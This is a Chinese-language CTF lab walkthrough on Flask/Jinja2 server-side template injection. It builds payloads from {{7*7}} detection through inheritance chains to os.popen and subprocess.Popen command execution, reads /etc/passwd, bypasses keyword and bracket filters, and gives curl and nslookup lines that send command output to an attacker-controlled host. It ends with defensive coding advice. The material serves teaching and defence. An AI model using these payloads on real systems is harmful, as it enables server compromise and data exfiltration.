Flask SSTI漏洞攻防实战:从Jinja2模板注入到命令执行 1. 项目概述从一道题看透Flask SSTI的攻防本质最近在带新人入门CTF的Web安全方向发现很多朋友对SSTI服务器端模板注入这个考点既感到好奇又有些畏惧。好奇在于它往往能一击必中直接拿到系统权限畏惧则是因为涉及模板引擎、Python沙箱绕过等看似复杂的知识。正好网上有一套经典的Flask-SSTI-labs靶场它没有复杂的场景包装就是最纯粹的Flask Jinja2 SSTI漏洞实战非常适合用来打基础、建体系。今天我就以通关这个靶场为主线带大家拆解SSTI从漏洞发现到利用的完整链条。这不是一篇简单的“payload合集”而是希望你能跟我一起理解每一个payload为什么能工作背后的限制又是什么从而真正掌握这种漏洞的“手感”。简单来说SSTI发生在当应用程序将用户输入直接拼接进模板语句进行渲染时。攻击者可以注入模板语法让服务端执行本不该执行的代码。Flask默认使用Jinja2模板引擎功能强大但一旦失控后果严重。这个靶场模拟了多种常见的、有防护的以及容易让人踩坑的SSTI场景通关它你不仅能学会如何攻击更能深刻理解开发中该如何防御。2. 靶场环境搭建与核心概念预热在开始“打怪”之前我们得先把战场布置好。Flask-SSTI-labs通常是一个开源的Python项目我们需要在本地搭建起来。2.1 环境准备与靶场部署首先确保你的机器上安装了Python3和pip。我推荐使用虚拟环境来管理依赖避免污染全局环境。# 创建并进入一个专门的目录 mkdir flask-ssti-labs cd flask-ssti-labs # 创建Python虚拟环境 python3 -m venv venv # 激活虚拟环境 # Linux/Mac source venv/bin/activate # Windows venv\Scripts\activate激活虚拟环境后命令行提示符前通常会出现(venv)字样。接下来克隆靶场代码并安装依赖。假设靶场代码仓库在GitHub上我们可以直接克隆。# 克隆靶场代码这里以示例仓库为例实际请替换为正确的仓库地址 git clone https://github.com/example/Flask-SSTI-labs.git . # 安装依赖 pip install -r requirements.txt注意有些靶场可能没有提供requirements.txt或者依赖不全。如果运行时报错缺少模块如flask你需要手动安装pip install flask。这是实战中常遇到的小问题学会看报错信息并解决依赖是第一步。依赖安装完成后直接运行主程序文件通常是app.py或run.py。python app.py如果看到类似* Running on http://127.0.0.1:5000/的输出说明靶场已经成功在本地5000端口运行。用浏览器访问这个地址就能看到靶场的题目列表界面了。2.2 SSTI与Jinja2引擎核心原理速览在动手解题前花几分钟理解原理至关重要。这能让你从“背payload”升级到“造payload”。什么是模板引擎想象一下你要写100封邮件内容结构相同只是收件人名字不同。你不会手写100遍而是会做一个“模板”把名字处留空。模板引擎就是干这个的它允许开发者编写一个包含静态文本和特殊“占位符”变量、逻辑块的模板文件然后传入具体的“数据”上下文引擎负责将数据和模板结合生成最终的HTML、邮件等文本。Jinja2的基本语法{{ ... }}用于输出变量或表达式的值到最终页面。{% ... %}用于执行控制语句如循环(for)、条件(if)。{# ... #}注释。漏洞如何产生一个安全的用法是render_template(index.html, nameusername)。这里username是开发者控制的、传递给模板的变量。 而漏洞产生的典型代码如下from flask import request, render_template_string ... template h1Hello, request.args.get(name) !/h1 return render_template_string(template)如果用户传入的name参数是{{7*7}}那么拼接后的模板就变成了h1Hello, {{7*7}}!/h1。render_template_string会执行这个模板计算7*7并输出49。这就完成了一次最简单的SSTI检测。为什么SSTI危险因为Jinja2等模板引擎功能强大它们为了在模板中实现复杂逻辑暴露了许多内置对象、函数和方法。在Flask的Jinja2环境中默认就存在一些特殊的全局对象比如config当前Flask应用的配置对象可能包含数据库密码等敏感信息。request当前的请求对象。self模板自身的命名空间。以及通过Python对象继承链可以访问到的所有模块和函数如os,subprocess。攻击者的目标就是从简单的表达式计算一步步“跳转”到能够执行任意系统命令或读取敏感文件的地步。下面我们就进入靶场看看这条攻击链是如何构建的。3. 基础关卡漏洞发现与信息收集靶场的前几关通常是毫无防护的SSTI目的是让你熟悉漏洞存在的形式和基本的测试方法。3.1 第一关确认漏洞点与基础Payload访问第一关的URL通常是一个简单的输入框让你输入名字然后打招呼。查看页面源代码或者用Burp Suite抓包找到提交参数的地方假设参数名为name。第一步漏洞探测我们提交一个最简单的测试payload{{7*7}}。 如果页面上返回的问候语不是“Hello, {{7*7}}!”而是“Hello, 49!”那么SSTI漏洞就确认存在了。这说明我们输入的{{ }}被服务端的Jinja2引擎解析并执行了。第二步探索上下文环境仅仅知道有漏洞还不够我们需要知道在模板中我们能“看到”什么。Jinja2提供了访问对象属性和方法的语法。{{ .__class__ }}这会显示空字符串的类输出类似class str。这证明了我们可以访问Python对象的特殊属性__class__。{{ [].__class__ }}查看列表的类。{{ config }}尝试输出Flask的config对象。如果成功你可能会看到一长串配置信息这是第一个重要的信息泄露点。第三步理解对象继承链在Python中一切皆对象对象通过__class__属性指向它的类类通过__base__或__bases__属性指向它的父类通过__subclasses__()方法可以获取它的所有子类。这个继承链是我们从模板内置的有限对象通往所有Python内置模块如os的桥梁。 尝试{{ .__class__.__mro__ }}。__mro__Method Resolution Order会显示一个类的继承顺序。你会看到str-object。我们的终极目标object类出现了因为几乎所有类都继承自它。3.2 第二关利用继承链寻找危险子类第一关确认了漏洞和基本环境第二关往往开始尝试利用。我们的目标是找到一个能执行命令或读文件的子类。手动寻找os模块我们知道最终要调用os.system(whoami)或os.popen(cat /etc/passwd).read()这样的命令。所以我们需要在模板上下文中找到一个导入了os模块的类。我们可以通过遍历object的子类来寻找。 payload如下{{ .__class__.__mro__[1].__subclasses__() }}解释.__class__是class str__mro__[1]是class object因为__mro__是(class str, class object)__subclasses__()会返回object的所有子类列表。这个列表非常长直接输出可能页面会卡死或者显示不全。技巧在浏览器中搜索将上面payload的返回结果一大串HTML的源代码保存下来或者更简单的方法使用一个包含搜索功能的payload。但Jinja2模板中执行循环和判断比较麻烦。一个更聪明的方法是利用索引。我们可以写一个小脚本在本地起一个类似的Flask环境先打印出所有子类及其索引找到我们想要的类比如class os._wrap_close的索引号然后在靶场直接使用这个索引。假设我们通过本地测试发现class os._wrap_close在子类列表中的索引是133。那么攻击payload就简化为{{ .__class__.__mro__[1].__subclasses__()[133] }}这会成功引用到os._wrap_close这个类。注意这个索引值在不同Python版本、不同环境中可能不同这就是为什么不能死记硬背payload的原因。3.3 第三关实现命令执行与文件读取找到了os._wrap_close类我们离执行命令只差两步1. 实例化这个类或调用它的某个方法2. 通过它调用os模块的方法。方法一通过__init__和__globals____init__是类的初始化方法__globals__是一个字典包含了函数所在模块的全局变量。对于os._wrap_close类它的__init__.__globals__里就有os模块。 payload构造{{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].popen(whoami).read() }}分解步骤获取object的子类列表中的第133个元素os._wrap_close类。访问该类的__init__方法。通过__globals__字典获取该方法所在模块即os模块的全局命名空间。从该命名空间中取出os模块本身。调用os.popen(whoami)执行系统命令并返回一个文件对象。调用.read()读取命令执行的结果。如果执行成功页面上就会显示当前服务运行的用户名如www-data、root等。方法二利用Popen类执行命令除了找os模块我们也可以直接寻找能执行命令的子类比如subprocess.Popen。同样需要先找到它在子类列表中的索引假设是258。 payload{{ .__class__.__mro__[1].__subclasses__()[258]([whoami], stdout-1).communicate()[0] }}这个payload直接实例化了subprocess.Popen类传入了命令参数并获取其输出。实操心得关于回显不是所有命令执行都有回显。os.system()的返回值是命令的退出状态码而不是输出内容所以用os.system(ls)可能在页面上看不到文件列表。os.popen().read()和subprocess.Popen是获取输出的可靠方法。如果页面没有回显可以考虑将结果写入一个Web目录下的文件然后通过浏览器访问该文件盲注或者使用DNS、HTTP请求外带数据Out-of-Band。4. 进阶关卡绕过常见过滤与限制靶场的中段关卡会引入一些常见的防护措施比如过滤关键字、删除特定字符等。这时就需要我们进行绕过了。4.1 关键字过滤绕过如过滤config,class,os等场景题目过滤了config、class、os等关键词输入后返回为空或被拦截。绕过技巧1字符串拼接Jinja2中可以使用~进行字符串拼接或者直接使用加法。原始{{ config }}绕过{{ co~nfig }}或{{ config }}对于__class__{{ [__class__] }}或使用attr过滤器{{ |attr(__class__) }}绕过技巧2利用编码或十六进制将关键字进行编码在模板中解码。Jinja2没有内置的decode但我们可以利用Python的字符串方法。例如__class__的十六进制表示为5f5f636c6173735f5f可以通过__class__.encode(hex)在Python2中获取Python3略有不同。但在Jinja2中直接使用十六进制字符串不方便。更实用的方法是利用chr()函数和加法来构造字符串。{% set x .__class__ %} {% set chr x.__init__.__globals__.__builtins__.chr %} {{ chr(95)~chr(95)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(95)~chr(95) }}这段代码先获取了chr函数然后通过ASCII码拼接出了字符串__class__。虽然看起来复杂但这是自动化工具生成payload的常用思路。绕过技巧3使用替代属性或方法过滤了__class__可以试试__mro__、__bases__它们也能指向父类。例如{{ .__mro__[1] }}同样可以得到class object。4.2 括号、引号过滤绕过场景过滤了()、、导致无法调用方法或定义字符串。绕过技巧1利用过滤器Jinja2的过滤器|可以在不显式使用括号的情况下调用函数某些过滤器。例如request对象是全局可用的。request有一个args属性GET参数字典。我们可以通过request.args.param来获取参数这不需要括号。但执行命令最终需要括号。这时可以利用map、list等过滤器或者更高级的技巧如利用__getitem__方法。对于字符串如果引号被过滤可以考虑使用数字、列表、字典等其它数据类型转换而来或者利用特殊变量如request.args的键名本身就是字符串。绕过技巧2使用__getitem__和__call__obj.__getitem__(key)等价于obj[key]。func.__call__(args)等价于func(args)。当括号被过滤时我们可以用__call__来调用函数。例如假设我们已经获取到了一个函数对象func想执行func(arg)可以写成{{ func.__call__(arg) }}。如果单引号也被过滤参数传递会更复杂可能需要从其它地方获取字符串。一个综合绕过示例 假设过滤了[、]、、、(、)。这非常严格。但我们仍然有路可走。利用request对象request.args是一个ImmutableMultiDict我们可以通过request.args.x1获取名为x1的参数值。这不需要中括号和引号。利用属性访问__class__是属性可以直接访问。利用__getitem__代替中括号__mro__.__getitem__(1)。利用__call__代替括号__subclasses__.__call__()。最终一个获取object子类的payload可能演变成{{ ().__class__.__bases__.__getitem__(0).__subclasses__.__call__() }}这里用元组()代替字符串作为起点因为它的类tuple也继承自object。通过__getitem__(0)获取第一个基类object然后调用__subclasses__()。4.3 长度限制与无回显利用场景输入框有长度限制或者命令执行后结果不回显在页面上。应对技巧1短payload构造目标是尽可能缩短payload。可以使用更短的变量名如果支持变量赋值或者利用更短的继承链。例如直接用数字、空列表、空字典的类[].__class__.__base__或{}.__class__.__bases__[0]。使用Jinja2的namespace对象{{ lipsum.__globals__.__builtins__ }}有时可以快速访问到内置函数lipsum是Jinja2的一个全局函数。应对技巧2盲注与外带数据当没有回显时我们需要将命令执行的结果发送到我们可控的服务器。HTTP请求外带利用命令执行发起一个HTTP请求将结果作为URL参数或Cookie带出来。在Linux下curl http://your-server.com/?result$(whoami|base64)在Python SSTI中如果能导入urllib或requests模块也可以实现。但更常见的是用os.popen执行curl或wget命令。你需要一个公网服务器并监听HTTP请求查看访问日志来获取数据。DNS请求外带有些环境可能禁止外发HTTP但DNS查询是允许的。命令nslookup $(whoami).your-domain.com在你的DNS服务器日志中可以看到子域名解析记录从而获取whoami的结果。注意结果中不能有特殊字符可能需要编码。写入Web目录文件如果知道Web绝对路径且具有写权限可以将结果写入一个.txt或.php文件然后通过浏览器访问。命令os.popen(whoami /var/www/html/result.txt).read()5. 高阶关卡深入沙箱与特殊对象利用靶场的后期关卡可能会模拟更真实的受限环境比如删除了大部分危险的子类或者设置了严格的沙箱。5.1 寻找“幸存”的危险函数当os、subprocess相关的子类都被删除或无法访问时我们需要寻找其他“有用”的类。目标类通常具有以下特征其__init__.__globals__字典中包含有用的模块如os,sys,builtins。其类本身或其实例有危险的方法如_module,func_globals。我们可以写一个脚本在本地类似环境中遍历所有子类打印出那些__globals__中包含os、subprocess、import等关键字的类及其索引。这是一个信息收集的过程。例如可能会发现class warnings.catch_warnings这个类它的__init__.__globals__里有linecache模块而linecache模块的__dict__里又包含了os模块。这就形成了一条新的利用链。5.2 利用内置函数__builtins__和__import____builtins__是一个包含了所有内置函数如eval,exec,open,__import__的模块。如果能访问到它就几乎无所不能。如何获取__builtins__通过任何一个Python函数或方法的__globals__[__builtins__]。通过已经获取到的某个类的__init__.__globals__[__builtins__]。有时__builtins__本身在模板上下文中就是一个可访问的对象在Jinja2中它有时被注入为全局变量。一旦获取到__builtins__就可以{{ __builtins__.open(/etc/passwd).read() }}读取文件。{{ __builtins__.__import__(os).system(id) }}导入os模块并执行命令。__import__函数非常关键它允许我们动态导入任何模块。5.3 利用Flask特殊全局对象Flask在渲染模板时会注入一些全局对象和函数除了config、request还有session 用户会话对象可能包含敏感信息。g 请求全局变量。url_for()、get_flashed_messages()等函数。这些对象本身可能不是攻击向量但它们的属性或方法可能指向有用的模块。例如在某些Flask配置下config对象本身可能就包含对os模块的引用虽然不常见。更重要的是request对象是研究SSTI绕过的宝库因为它是一个复杂的对象有很多属性和方法可以链式调用。6. 防御视角从攻击中学习安全编码通关靶场不仅是为了学会攻击更是为了理解漏洞根源从而在开发中避免它。6.1 SSTI漏洞产生的根本原因根本原因就一句话将用户可控的数据未经充分处理就直接传递给了模板渲染函数。这里的“模板渲染函数”特指那些渲染字符串模板的函数如Flask的render_template_string()或者某些框架中类似Template(template_string).render(context)的用法。6.2 有效的防御方案绝对禁止使用render_template_string渲染用户输入这是最根本的一条。除非有极其特殊且安全可控的需求否则在Web应用中应避免使用此函数。如果需要动态模板应使用预定义好的模板片段通过安全的传参方式来实现。严格的输入过滤与白名单如果业务上确实需要一些动态内容比如邮件模板、报告模板必须对用户输入进行严格审查。黑名单无效过滤{{、}}、{%、%}、__等字符很容易被绕过如拼接、编码、利用attr过滤器。应采用白名单只允许用户输入一组安全的、预定义的标签或标记并在服务端将其转换为安全的模板变量。或者使用完全不同的、功能受限的模板语法如Mustache。沙箱化模板环境对于必须使用动态模板的场景可以创建一个高度受限的沙箱环境。移除或重写危险的全局函数和变量如__builtins__、os、eval、open。使用Jinja2的SandboxedEnvironment。但要注意沙箱并非绝对安全历史上也存在过沙箱逃逸漏洞需要及时更新版本。自定义过滤器filter和全局函数global时确保其功能安全不执行任意代码。代码审查与自动化扫描在代码审查中重点关注所有使用模板渲染的地方特别是那些拼接字符串作为模板的代码。可以使用SAST静态应用安全测试工具来辅助发现潜在的SSTI漏洞点。6.3 开发中的安全习惯明确数据与代码的边界始终牢记用户输入是数据模板语法是代码。绝不能混为一谈。使用安全的APIFlask的render_template()函数用于渲染文件模板它是安全的因为它将模板文件与数据上下文分离。坚持使用它。最小权限原则运行Flask应用的进程应使用非root、低权限的用户并限制其文件系统访问权限和网络访问权限。这样即使被攻破危害也能被控制在较小范围。通关Flask-SSTI-labs靶场就像完成了一次针对SSTI漏洞的“外科手术式”解剖。从最简单的漏洞确认到复杂的过滤绕过再到沙箱环境下的利用链构造每一步都加深了对Jinja2模板引擎和Python对象模型的理解。我个人的体会是死记硬背payload永远跟不上变化真正重要的是掌握“为什么这个payload能工作”以及“当它不工作时我该如何调试和寻找新路径”的能力。下次当你看到{{和}}时希望你能立刻意识到其中可能蕴含的风险无论是作为攻击者还是防御者。